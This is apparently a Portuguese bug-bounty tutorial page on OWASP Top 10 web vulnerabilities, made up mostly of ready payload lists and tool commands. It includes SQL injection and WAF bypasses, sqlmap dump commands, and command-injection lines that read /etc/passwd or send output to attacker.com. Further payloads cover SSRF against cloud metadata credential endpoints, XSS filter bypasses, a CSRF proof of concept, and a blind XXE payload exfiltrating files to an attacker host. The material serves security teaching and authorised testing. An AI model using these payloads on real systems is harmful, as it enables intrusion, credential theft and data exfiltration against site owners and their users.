Web Vulnerabilities: OWASP Top 10 e além
Baixar PDFXSS, SQLi, SSRF, IDOR, broken authentication, CSRF, deserialization — cobertura técnica de cada classe de vulnerabilidade com payloads e detecção.
Vulnerabilidades web representam ~28% dos vetores de ataque e são o pão com manteiga do bug bounty. Esta página cobre as classes mais exploradas, como detectá-las e como explorá-las.
OWASP Top 10 (2021)
| # | Categoria | Bug Bounty relevance |
|---|---|---|
| A01 | Broken Access Control | IDOR, privilege escalation, forced browsing |
| A02 | Cryptographic Failures | Weak crypto, plaintext secrets, missing TLS |
| A03 | Injection | SQLi, NoSQLi, command injection, LDAP |
| A04 | Insecure Design | Business logic flaws, missing rate limiting |
| A05 | Security Misconfiguration | Default creds, verbose errors, open directories |
| A06 | Vulnerable Components | Known CVEs in dependencies |
| A07 | Auth Failures | Brute force, credential stuffing, session flaws |
| A08 | Data Integrity | Insecure deserialization, CI/CD tampering |
| A09 | Logging Failures | No audit trail, no alerting |
| A10 | SSRF | Server-Side Request Forgery |
A01 — Broken Access Control
IDOR (Insecure Direct Object Reference)
IDOR ocorre quando um usuário pode acessar recursos de outro usuário manipulando IDs.
# Cenário: API de perfil de usuário
GET /api/users/12345/profile
# Teste IDOR: trocar ID
GET /api/users/12346/profile → retorna dados de outro usuário
# Auto-increment IDOR
GET /api/orders/1001 → minha order
GET /api/orders/1002 → order de outro usuário (vulnerabilidade)
# UUID IDOR (mais difícil mas possível)
# Enumerar UUIDs via /api/search, /api/users, ou vazamento em responsesDetecção:
# Comparar responses de IDs diferentes
curl -s -H "Authorization: Bearer TOKEN_USER_A" https://target.com/api/users/12345 | md5sum
curl -s -H "Authorization: Bearer TOKEN_USER_A" https://target.com/api/users/12346 | md5sum
# Se diferentes = IDOR confirmadoHorizontal vs Vertical Privilege Escalation
Horizontal: user_a acessa dados de user_b (mesmo nível)
→ GET /api/user/456/profile (com token de user_123)
Vertical: user acessa função de admin (nível superior)
→ GET /api/admin/users (com token de user comum)
→ POST /api/admin/role → {"role": "admin"}Forced Browsing
# Acessar recursos sem autenticação
GET /admin/dashboard → sem auth = forced browsing
GET /api/internal/metrics → endpoint não listado
GET /backup/database.sql → arquivo expostoA03 — Injection
SQL Injection
Tipos:
| Tipo | Sintaxe | Detecção |
|---|---|---|
| In-band | UNION SELECT | Resposta reflete dados |
| Blind (boolean) | AND 1=1 / AND 1=2 | Response diferente |
| Blind (time) | SLEEP(5) | Delay na resposta |
| Out-of-band | DNS/HTTP callback | Burp Collaborator |
Payloads básicos:
-- Detection
'
'
" OR 1=1--
' OR '1'='1
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
-- Column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (até dar erro)
-- Extract data
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
-- Blind SQLi (time-based)
' OR SLEEP(5)--
' OR IF(1=1,SLEEP(5),0)--
-- Blind SQLi (boolean-based)
' AND 1=1-- (página normal)
' AND 1=2-- (página diferente)
-- WAF bypass
/*!UNION*/ /*!SELECT*/ 1,2,3
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3
' uNiOn SeLeCt 1,2,3
' UNION%20SELECT 1,2,3sqlmap:
# Basic detection
sqlmap -u "https://target.com/page?id=1" --batch
# With auth
sqlmap -u "https://target.com/page?id=1" --cookie="session=abc123" --batch
# POST request
sqlmap -u "https://target.com/login" --data="user=admin&pass=test" -p user --batch
# Dump database
sqlmap -u "https://target.com/page?id=1" --dump --batch
# Specific DB
sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D database_name --tables --batch
sqlmap -u "https://target.com/page?id=1" -D database_name -T users --columns --batchNoSQL Injection (MongoDB)
// Authentication bypass
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
// Data extraction via $regex
{"username": {"$regex": "^a.*"}}
// JavaScript injection
{"$where": "sleep(5000)"}
{"username": {"$where": "this.username.length > 0"}}Command Injection
# OS command injection
; ls -la
| cat /etc/passwd
$(whoami)
`id`
; ping -c 1 attacker.com
# Blind command injection
; sleep 5
; curl http://attacker.com/$(whoami)
# Filter bypass
; /bin/ls
; /b??/ls
; echo bHMgLWxh | base64 -d | bashA10 — SSRF (Server-Side Request Forgery)
SSRF faz o servidor fazer requisições para URLs controladas pelo atacante.
Tipos
| Tipo | Resposta | Exploração |
|---|---|---|
| Basic | Conteúdo retornado na response | Ler arquivos locais |
| Blind | Sem resposta visível | DNS/HTTP callback |
| Semi-blind | Status code diferente | Timing-based |
Payloads
# Acesso a metadata cloud (AWS)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
# GCP metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Localhost
http://127.0.0.1
http://localhost
http://[::1]
http://0x7f000001
http://2130706433
http://017700000001
# Bypass de filtro
http://127.1
http://0
http://0177.0.0.1
http://127.0.0.1.nip.io
http://127.0.0.1.sslip.io
http://[email protected]
http://127.0.0.1#@attacker.com
# Arquivo local
file:///etc/passwd
file:///etc/hosts
file:///proc/self/environ
# Port scanning via SSRF
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080Detecção
# Usar Burp Collaborator ou interact.sh
# Inserir payload na URL e verificar callback:
# https://target.com/api/fetch?url=http://BURP_COLLABORATOR_URL
# interact.sh
interactsh-client -server interact.sh
# Usar o ID gerado como callback:
# http://UNIQUE_ID.interact.shXSS (Cross-Site Scripting)
Tipos
| Tipo | Persistência | Contexto |
|---|---|---|
| Reflected | Não persiste | URL parameter, form input |
| Stored | Persiste no banco | Comment, profile, message |
| DOM-based | Client-side | JavaScript manipula DOM |
Payloads por contexto
<!-- HTML context -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<!-- Attribute context -->
" onmouseover="alert(1)
' onfocus='alert(1) autofocus='
<!-- JavaScript context -->
'-alert(1)-'
';alert(1)//
\';alert(1)//
<!-- URL context -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
<!-- Template injection -->
{{constructor.constructor('alert(1)')()}}
${alert(1)}
#{alert(1)}Filter bypass
<!-- Case mixing -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Encoding -->
<img src=x onerror="alert(1)">
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<!-- Double encoding -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E
<!-- Null byte -->
<scri%00pt>alert(1)</scri%00pt>
<!-- Event handlers -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>Impacto real de XSS
| Contexto | Impacto | Payout típico |
|---|---|---|
| Self-XSS | Baixo | $0 — $100 |
| Reflected XSS em página pública | Médio | $100 — $1,000 |
| Stored XSS em perfil público | Alto | $500 — $5,000 |
| XSS com admin session hijack | Crítico | $5,000 — $50,000 |
| XSS em painel de pagamento | Crítico | $10,000 — $100,000+ |
CSRF (Cross-Site Request Forgery)
<!-- CSRF PoC -->
<html>
<body>
<form action="https://target.com/api/user/email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>Bypass de proteções CSRF
# Token ausente → exploração direta
# Token não validado → enviar token vazio ou de outro usuário
# Token em cookie (double-submit) → CSRF via XSS para ler token
# SameSite=None → cookie enviado em cross-origin
# Referer não verificado → request de outro domínioXXE (XML External Entity)
<!-- Leitura de arquivo -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- SSRF via XXE -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
<!-- Blind XXE (out-of-band) -->
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%send;Race Conditions
# Enviar múltiplas requisições simultâneas
# Exemplo: usar cupom de desconto várias vezes
# com Burp Intruder (simultaneous requests)
# 1. Configurar request com parâmetro de cupom
# 2. Sniper attack com 50 threads
# 3. Todas as requests chegam antes da validação
# com curl + parallel
seq 1 50 | xargs -P 50 -I {} curl -s "https://target.com/apply-coupon?code=TEST123" &
# com ffuf
ffuf -u "https://target.com/apply-coupon?code=TEST123" -w /dev/stdin -rate 100 -H "Cookie: session=abc" < <(seq 1 100)Referências
Reconnaissance: a arte de encontrar alvos
OSINT, enumeração de subdomínios, port scanning, fingerprinting e content discovery — a fase que define 70% do sucesso em bug bounty.
XSS Deep Dive: Cross-Site Scripting avançado
DOM XSS, mutation XSS, template injection, mXSS, filter bypass avançado, CSP bypass, exploitation real — o guia definitivo de XSS para bug bounty.